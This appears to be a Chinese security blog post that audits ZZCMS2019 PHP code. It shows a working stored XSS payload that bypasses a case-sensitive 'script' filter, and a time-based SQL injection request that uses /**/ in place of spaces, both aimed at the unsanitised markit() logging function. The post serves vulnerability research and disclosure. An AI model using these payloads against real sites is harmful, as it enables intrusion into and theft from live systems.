类别(必填): |
<?php
$sql = "select * from zzcms_askclass where parentid<>0 order by xuhao asc";
$rs=query($sql);
?>
|
标题(必填): |
|
内容(必填): |
|
<tr id="trkeywords">
<td align="right" class="border" >悬赏积分:</td>
<td class="border" ><select name="jifen" id="jifen">
<option value="0" selected="selected">0</option>
<option value="5">5</option>
<option value="10">10</option>
<option value="20">20</option>
<option value="30">30</option>
</select>
<?php
$rs=query("select totleRMB from zzcms_user where username='" .$_COOKIE["UserName"]. "'");
$row=fetch_array($rs);
echo "您的积分:".$row['totleRMB'];
?> </td>
</tr>
<tr>
<td align="right" class="border"> </td>
<td class="border"> <input name="Submit" type="submit" class="buttons" value="发布">
<input name="action" type="hidden" value="add"></td>
</tr>
</table>
<?php
}
```
简单看了下没多大问题,再来看看第二个函数
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
```php
//modify函数
function modify(){
global $username;
?>
修改问答信息
$sqlzx="select * from zzcms_ask where id='$id'";
$rszx =query($sqlzx);
$rowzx = fetch_array($rszx);
if ($id<>0 && $rowzx["editor"]<>$username) {
markit();
showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
}
?>
.......省略
```
首先获取了下page
和id
并使用checkid
函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit();
函数,并且返回警告信息
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
另外注意到在showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
这行上面调用了markit()
这个函数,跟进去看看
在incfunction.php
的138行左右
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
php
//$_SERVER['HTTP_REFERER'];//上页来源
function markit()
{
$userip = $_SERVER["REMOTE_ADDR"];
//$userip=getip();
$url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
query("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')");
}
//$url为当前页的URI(URL+参数),这个可控
//$_COOKIE["UserName"]为cookies中的用户名,
拼接了SQL语句,并且没有过滤,总结下目前情况
- 首先获取了下
page
和id
并使用checkid
函数进行了检查,虽然下面有拼接SQL
语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit()
函数,并且返回警告信息。
- 要触发
markit()
函数需要满足条件如下
do
参数为modify
page
参数不能为你发布的且为数字
id
参数同上
另外还需要注意在全局过滤函数中有这么一行
php
<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}
那么构造payload
如下domain/user/ask.php?do=modify&page=1&id=1&aaa=<ScriPt>alert(/xss/)</ScRiPt>
然后使用burpsuite
发包
可以看到触发了警告信息
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
当管理员查看不良操作时,熟悉的弹框就出来了
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
SQL注入
还是markit()
函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?
先看看这个query
函数怎么执行的
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
可以看到直接带入mysqli_query
,那么尝试构造下payload
吧
原始SQL语句
sql
insert into zzcms_bad (username,ip,dose,sendtime)
values
('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')
既然只有$url
可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()
函数
insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
OK 成功,那么直接构造就行了
GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1
结果发现并没有执行
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
在函数中dump下$url
看看原因
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
发现被url中的空格截断了
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
那么直接用注释/**/
替换
![原创干货 | ZZCMS2019从存储型XSS到前台SQL注入]()
成功睡眠5秒,证明存在SQL注入。
相关推荐: DNS隧道技术绕过防火墙
0x01 概念隧道技术(Tunneling)是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送。新的帧头提供路由信息,以便通过互联网传递被封装…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/246234.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
- 本文由 admin 发表于 2021年4月25日07:26:03
- 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
原创干货 | ZZCMS2019从存储型XSS到前台SQL注入https://cn-sec.com/archives/246234.html
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.
评论